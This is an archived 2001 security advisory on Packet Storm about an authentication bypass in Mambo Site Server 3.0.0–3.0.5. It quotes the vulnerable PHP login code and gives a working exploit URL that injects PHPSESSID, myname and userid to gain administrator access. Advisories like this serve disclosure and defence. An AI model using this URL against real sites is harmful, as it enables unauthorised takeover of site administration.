what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

mambo_advisorie.txt

mambo_advisorie.txt
Posted Jul 26, 2001
Site reverseonline.com

The Mambo Site Server v3.0.0 - 3.0.5 contains a vulnerability which allows users to gain administrative privileges by changing global variables via URL parsing.

tags | exploit
SHA-256 | 130f26d521cff30052559a9d02cc0b8dd1f05866aefac6e2932959bd6a3d136d

mambo_advisorie.txt

Change Mirror Download
Serious security hole in Mambo Site Server version 3.0.X
Jul, 24 2001
by: Ismael Peinado Palomo - postmaster@reverseonline.com
www.reverseonline.com

Summary
Mambo Site Server is a dynamic portal engine and content management tool
based on PHP and MySQL.

Details
Vulnerable systems:
Mambo Site Server version 3.0.0 - 3.0.5

Immune systems:

Impact:
Any user can gain administrator privileges.

Exploits:

Under 'administrator/' dir. we found that index.php checks the user and password:

if (isset($submit)){
$query = "SELECT id, password, name FROM users WHERE username='$myname' AND (usertype='administrator' OR usertype='superadministrator')";
$result = $database->openConnectionWithReturn($query);
if (mysql_num_rows($result)!= 0){
list($userid, $dbpass, $fullname) = mysql_fetch_array($result);

.....

if (strcmp($dbpass,$pass)) {
//if the password entered does not match the database record ask user to login again
print "<SCRIPT>alert('Incorrect Username and Password, please try again'); document.location.href='index.php';</SCRIPT>\n";
}else {
//if the password matches the database
if ($remember!="on"){
//if the user does not want the password remembered and the cookie is set, delete the cookie
if ($passwordcookie!=""){
setcookie("passwordcookie");
$passwordcookie="";
}
}
//set up the admin session then take the user into the admin section of the site
session_register("myname");
session_register("fullname");
session_register("userid");
print "<SCRIPT>window.open('index2.php','newwindow');</SCRIPT>\n";
print "<SCRIPT>document.location.href='$live_site'</SCRIPT>\n";

}
}else {
print "<SCRIPT>alert('Incorrect Username and Password, please try again'); document.location.href='index.php';</SCRIPT>\n";
}

as we can see if the password for administrator matches the one in the database, some variables are registered in the session and we are redirected to index2.php...so lets take a look at index2.php....

if (!$PHPSESSID){
print "<SCRIPT>document.location.href='index.php'</SCRIPT>\n";
exit(0);
}
else {
session_start();
if (!$myname) session_register("myname");
if (!$fullname) session_register("fullname");
if (!$uid) session_register("userid");
}

Here we can see the only verification of a valid user is through the global var. PHPSESSID, so if we declare that variable on the url, and set the 'myname','fullname' and 'userid' we can gain administrative control...so we'll test:

https://target.machine/administrator/index2.php?PHPSESSID=1&myname=admin&fullname=admin&userid=administrator

BINGO!! now we have full administrative privileges...that's a typical example of PHP hacking...it's clear that security can't rely on global variables since they may be modifyed through url parsing.

Ismael Peinado Palomo
Ingeniero Jefe I+D
postmaster@reverseonline.com
www.reverseonline.com
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close